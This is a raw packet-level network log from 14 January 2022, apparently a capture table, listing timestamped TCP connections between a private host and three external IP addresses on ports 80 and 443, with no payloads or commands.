Jan 14, 2022 02:05:08.130224943 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.130249977 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.130274057 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.130297899 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.130299091 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:08.130332947 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:08.130342007 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.130364895 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.130387068 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:08.130388975 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.130413055 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.130445957 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:08.130481958 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.130525112 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.130544901 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:08.130548000 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.130587101 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.130610943 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.130633116 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.130636930 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:08.130656958 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.130665064 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:08.130680084 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.130702972 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:08.130702972 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.130726099 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.130748034 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:08.130748987 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.130789995 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.130811930 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.130812883 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:08.130836010 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.130861998 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.130865097 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:08.130883932 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.130904913 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:08.130908012 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.130932093 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.130955935 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:08.130971909 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.130995035 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.131021976 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:08.131035089 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.131056070 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.131078005 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.131086111 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:08.131102085 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.131124020 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:08.131125927 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.131149054 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.131170034 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:08.131172895 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.131196022 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.131217003 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:08.131221056 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.131242990 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.131264925 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:08.131268024 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.131292105 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.131305933 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:08.131316900 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.131340027 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.131356001 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:08.131362915 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.131386042 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.131407022 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:08.131408930 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.131433010 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.131453037 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:08.131457090 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.131479979 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.131501913 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:08.131501913 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.131525040 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.131546021 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:08.131547928 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.131571054 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.131587982 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:08.131596088 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.131618023 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.131638050 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:08.131640911 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.131664991 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.131685019 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:08.131689072 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.131711006 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.131731033 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:08.131735086 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:08.131792068 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:09.032054901 CET	49852	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:09.082379103 CET	80	49852	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:09.082500935 CET	49852	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:09.082658052 CET	49852	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:09.082686901 CET	49852	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:09.133285046 CET	80	49852	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:09.187436104 CET	80	49852	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:09.187525988 CET	49852	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:09.187726021 CET	49852	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:09.238126040 CET	80	49852	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:09.268424988 CET	49853	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:09.320724010 CET	80	49853	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:09.320815086 CET	49853	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:09.358282089 CET	49853	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:09.359621048 CET	49853	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:09.410459042 CET	80	49853	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:09.412108898 CET	80	49853	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:09.436525106 CET	80	49853	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:09.436614037 CET	49853	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:09.436826944 CET	49853	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:09.477576017 CET	49854	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:09.488657951 CET	80	49853	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:09.530132055 CET	80	49854	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:09.530266047 CET	49854	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:09.534301043 CET	49854	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:09.534332991 CET	49854	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:09.586554050 CET	80	49854	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:09.618432999 CET	80	49854	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:09.618514061 CET	49854	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:09.618716002 CET	49854	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:09.670492887 CET	80	49854	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:09.696229935 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:09.696285963 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:09.696366072 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:09.696692944 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:09.696710110 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:09.748042107 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:09.748161077 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:09.756629944 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:09.756649017 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:09.757025003 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:09.758023977 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:09.801878929 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:09.870167971 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:09.870253086 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:09.870316982 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:09.908584118 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:09.908629894 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:09.908648014 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:09.908663034 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:10.068545103 CET	49858	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:10.118835926 CET	80	49858	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:10.118948936 CET	49858	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:10.133959055 CET	49858	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:10.133985043 CET	49858	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:10.184758902 CET	80	49858	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:10.229552984 CET	80	49858	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:10.229641914 CET	49858	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:10.233859062 CET	49858	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:10.266853094 CET	49860	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:10.283914089 CET	80	49858	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:10.319444895 CET	80	49860	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:10.319569111 CET	49860	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:10.323040962 CET	49860	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:10.323051929 CET	49860	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:10.375046968 CET	80	49860	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:10.404457092 CET	80	49860	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:10.404540062 CET	49860	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:10.405692101 CET	49860	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:10.458646059 CET	80	49860	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:10.478564024 CET	49861	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:10.530520916 CET	80	49861	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:10.530613899 CET	49861	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:10.531110048 CET	49861	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:10.531204939 CET	49861	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:10.583156109 CET	80	49861	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:10.583168030 CET	80	49861	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:10.608814001 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:10.612658024 CET	80	49861	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:10.612679005 CET	80	49861	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:10.612745047 CET	49861	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:10.622358084 CET	49861	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:10.652774096 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:10.652811050 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:10.652877092 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:10.653158903 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:10.653172016 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:10.674124002 CET	80	49861	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:10.683531046 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.683624983 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:10.683770895 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:10.701458931 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:10.701555014 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:10.703121901 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:10.703135014 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:10.703459024 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:10.704237938 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:10.745873928 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:10.758380890 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.760020971 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.760044098 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.760060072 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.760077000 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.760092020 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.760107994 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.760123968 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.760123968 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:10.760139942 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.760149956 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:10.760159016 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.760168076 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:10.760186911 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:10.760229111 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.760272026 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:10.834866047 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.834892035 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.834908009 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.834923983 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.834939957 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.834956884 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.834959984 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:10.834973097 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.834990025 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.835000038 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:10.835006952 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.835022926 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:10.835025072 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.835043907 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.835059881 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.835067987 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:10.835076094 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.835092068 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.835098982 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:10.835109949 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.835125923 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.835134029 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:10.835144043 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.835160971 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.835167885 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:10.835177898 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.835200071 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:10.909936905 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.909985065 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.910018921 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.910053015 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.910082102 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.910084963 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:10.910108089 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:10.910116911 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.910147905 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:10.910151005 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.910187006 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.910204887 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:10.910223007 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.910255909 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.910281897 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:10.910289049 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.910321951 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.910351992 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.910382986 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:10.910386086 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.910415888 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:10.910419941 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.910453081 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.910485983 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.910516024 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.910547972 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.910552979 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:10.910582066 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.910613060 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.910614014 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:10.910645008 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.910670996 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:10.910676003 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.910708904 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.910742044 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.910772085 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.910784960 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:10.910789013 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:10.910804987 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.910836935 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.910866976 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.910876989 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:10.910900116 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.910933971 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.910965919 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.910998106 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.911027908 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.911031008 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:10.911056042 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:10.911062002 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.911094904 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.911144018 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:10.985806942 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.985903978 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.985943079 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.985964060 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:10.985982895 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.986020088 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:10.986023903 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.986064911 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.986104965 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.986118078 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:10.986144066 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.986181974 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.986188889 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:10.986222029 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.986258984 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.986296892 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.986335039 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.986371040 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.986387968 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:10.986398935 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:10.986403942 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:10.986409903 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.986449957 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.986488104 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.986526966 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.986527920 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:10.986565113 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:10.986568928 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.986608982 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.986646891 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.986681938 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.986713886 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.986721992 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:10.986752987 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.986805916 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.986849070 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:10.986861944 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.986903906 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:10.986921072 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.986974955 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:10.986979008 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.987024069 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.987061977 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.987101078 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.987135887 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.987138987 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:10.987174988 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.987176895 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:10.987212896 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.987248898 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.987286091 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.987287998 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:10.987323999 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.987329960 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:10.987361908 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.987384081 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:10.987401962 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.987438917 CET	80	49862	141.8.194.74	192.168.2.3
